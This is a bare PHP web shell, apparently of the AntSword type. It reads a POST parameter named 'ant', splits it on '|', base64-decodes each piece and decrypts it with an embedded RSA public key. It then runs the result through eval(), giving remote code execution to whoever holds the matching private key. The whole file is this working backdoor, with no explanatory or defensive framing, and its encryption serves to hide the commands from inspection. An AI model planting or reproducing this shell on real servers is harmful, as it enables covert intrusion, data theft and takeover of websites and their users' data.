<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdXXBSTD/M8u3B8vhFuuJwqQdg
oPeUU1HfZWpGWvbOQEyvs+ddz4oqursicO+s/liZR6UueC16YX/TsKWJ8aPd0/Kq
2asCltpT2mCXkYq+3LH66xw/u4hLO/kSOJCT9tusCPrL2+XqknuOXsaM8iF7UPmP
J0KjliqIuDqGVu5ClwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
eval($cmd);